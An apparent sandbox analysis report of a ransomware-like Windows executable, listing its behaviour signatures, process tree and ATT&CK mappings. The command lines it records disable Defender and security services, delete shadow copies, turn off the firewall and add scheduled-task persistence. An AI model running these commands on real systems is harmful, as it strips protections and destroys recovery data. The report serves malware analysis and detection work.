Analysis
- max time kernel
22s - max time network
164s - platform
windows10-2004_x64 - resource
win10v2004-20260130-en - resource tags
- submitted
04/05/2026, 07:45
General
- Target albenadetroit.com_hybers.exe
- Size 49KB
- Sample260504-jletkshx9r
- SHA256 4e8ec8b85ce0edacea1c282610fd5205705df9f52431ad980d39f2f7d455bec9
Malware Config
Signatures
- Contains code to disable Windows Defender 2 IoCs
A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.
- Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
- Drops file in Drivers directory 1 IoCs
- Modifies Windows Firewall 2 TTPs 1 IoCs
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Disables service(s) 3 TTPs
- Drops startup file 64 IoCs
- Stops running service(s) 4 TTPs
- Adds Run key to start application 2 TTPs 1 IoCs
- Drops desktop.ini file(s) 1 IoCs
- Drops file in System32 directory 1 IoCs
- Enumerates processes with tasklist 1 TTPs 1 IoCs
- Sets desktop wallpaper using registry 2 TTPs 1 IoCs
- Launches sc.exe 10 IoCs
Sc.exe is a Windows utlilty to control services on the system.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Gathers network information 2 TTPs 2 IoCs
Uses commandline utility to view network configuration.
- Gathers system information 1 TTPs 1 IoCs
Runs systeminfo.exe.
- Interacts with shadow copies 3 TTPs 2 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
- Modifies Control Panel 1 IoCs
- Modifies data under HKEY_USERS 25 IoCs
- Modifies registry class 16 IoCs
- Runs net.exe
- Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 4 IoCs
- Suspicious use of FindShellTrayWindow 1 IoCs
- Suspicious use of SetWindowsHookEx 2 IoCs
- Suspicious use of WriteProcessMemory 13 IoCs
Processes
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C:\Users\Admin\AppData\Local\Temp\albenadetroit.com_hybers.exe"C:\Users\Admin\AppData\Local\Temp\albenadetroit.com_hybers.exe"1⤵
- Drops file in Drivers directory
- Checks computer location settings
- Drops startup file
- Adds Run key to start application
- Drops file in System32 directory
- Sets desktop wallpaper using registry
- Modifies Control Panel
- Modifies registry class
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -Exec Bypass -Enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA=2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop wscsvc2⤵
- Launches sc.exe
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config wscsvc start= disabled2⤵
- Launches sc.exe
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop SecurityHealthService2⤵
- Launches sc.exe
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config SecurityHealthService start= disabled2⤵
- Launches sc.exe
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop WinDefend2⤵
- Launches sc.exe
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config WinDefend start= disabled2⤵
- Launches sc.exe
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop MsMpSvc2⤵
- Launches sc.exe
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config MsMpSvc start= disabled2⤵
- Launches sc.exe
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C:\Windows\System32\fodhelper.exe"C:\Windows\System32\fodhelper.exe"2⤵
- Suspicious use of WriteProcessMemory
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C:\Users\Admin\AppData\Local\Temp\albenadetroit.com_hybers.exe"C:\Users\Admin\AppData\Local\Temp\albenadetroit.com_hybers.exe"3⤵
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C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\makelnk.vbs2⤵
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C:\Windows\SYSTEM32\schtasks.exe"schtasks" /create /tn "SysUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\albenadetroit.com_hybers.exe" /sc onlogon /f2⤵
- Scheduled Task/Job: Scheduled Task
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C:\Windows\System32\notepad.exe"C:\Windows\System32\notepad.exe"2⤵
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\del.bat" "2⤵
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C:\Windows\system32\vssadmin.exevssadmin delete shadows /all /quiet3⤵
- Interacts with shadow copies
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C:\Windows\System32\Wbem\WMIC.exewmic shadowcopy delete3⤵
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C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c systeminfo > "C:\ProgramData\SysUpdate\Logs\sysinfo.txt"2⤵
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C:\Windows\system32\systeminfo.exesysteminfo3⤵
- Gathers system information
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C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c tasklist > "C:\ProgramData\SysUpdate\Logs\tasklist.txt"2⤵
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C:\Windows\system32\tasklist.exetasklist3⤵
- Enumerates processes with tasklist
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C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c whoami > "C:\ProgramData\SysUpdate\Logs\whoami.txt"2⤵
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C:\Windows\system32\whoami.exewhoami3⤵
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C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c net user > "C:\ProgramData\SysUpdate\Logs\netuser.txt"2⤵
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C:\Windows\system32\net.exenet user3⤵
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C:\Windows\system32\net1.exeC:\Windows\system32\net1 user4⤵
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C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c ipconfig /all > "C:\ProgramData\SysUpdate\Logs\ipconfig.txt"2⤵
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C:\Windows\system32\ipconfig.exeipconfig /all3⤵
- Gathers network information
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C:\Windows\System32\vssadmin.exe"C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet2⤵
- Interacts with shadow copies
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C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c netstat -an > "C:\ProgramData\SysUpdate\Logs\netstat.txt"2⤵
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C:\Windows\system32\NETSTAT.EXEnetstat -an3⤵
- Gathers network information
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C:\Windows\SYSTEM32\schtasks.exe"schtasks" /create /tn "RansomwareCheck" /tr "C:\Users\Admin\AppData\Local\Temp\albenadetroit.com_hybers.exe" /sc daily /f2⤵
- Scheduled Task/Job: Scheduled Task
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C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs2⤵
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C:\Windows\System32\wbem\WMIC.exe"C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete2⤵
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C:\Windows\System32\net.exe"C:\Windows\System32\net.exe" stop srservice2⤵
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C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop srservice3⤵
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config i8042prt start= disabled2⤵
- Launches sc.exe
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop i8042prt2⤵
- Launches sc.exe
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C:\Windows\System32\netsh.exe"C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off2⤵
- Modifies Windows Firewall
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C:\Windows\system32\LogonUI.exe"LogonUI.exe" /flags:0x0 /state0:0xa3908055 /state1:0x41c64e6d1⤵
- Drops desktop.ini file(s)
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
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C:\Users\Admin\AppData\Local\Temp\albenadetroit.com_hybers.exeC:\Users\Admin\AppData\Local\Temp\albenadetroit.com_hybers.exe1⤵
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C:\Users\Admin\AppData\Local\Temp\albenadetroit.com_hybers.exeC:\Users\Admin\AppData\Local\Temp\albenadetroit.com_hybers.exe1⤵
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C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv1⤵
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
2PowerShell
1Scheduled Task/Job
1Scheduled Task
1System Services
2Service Execution
2Windows Management Instrumentation
1Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
3Windows Service
3Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
3Windows Service
3Scheduled Task/Job
1Scheduled Task
1Replay Monitor
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Downloads
LockScreen___1920_1080_notdimmed.jpg
invoice_1.pdf
doc_3.pdf
albenadetroit.com_hybers.exe.log
__PSScriptPolicyTest_vp5e31ub.ubx.ps1
createshortcut.vbs
del.bat
makelnk.vbs
sysupdate.exe
memory/1056-2243-0x0000015056180000-0x000001505618C000-memory.dmp
memory/2020-586-0x000001BDAC9D0000-0x000001BDAC9F2000-memory.dmp
memory/2020-1400-0x000001BD92AF0000-0x000001BD92AFC000-memory.dmp
memory/2020-1963-0x000001BD92AF0000-0x000001BD92AFC000-memory.dmp
memory/2084-2247-0x000001E0E2C00000-0x000001E0E2C01000-memory.dmp
memory/2968-2265-0x0000023579C60000-0x0000023579C6C000-memory.dmp
memory/4984-1-0x000000001AF30000-0x000000001AF40000-memory.dmp
memory/4984-0-0x00000000002B0000-0x00000000002C2000-memory.dmp
memory/4984-15-0x000000001DBA0000-0x000000001E0C8000-memory.dmp
memory/4984-659-0x000000001AF30000-0x000000001AF40000-memory.dmp
memory/4984-495-0x0000000000A80000-0x0000000000A8C000-memory.dmp
memory/4984-14-0x000000001D9D0000-0x000000001DB92000-memory.dmp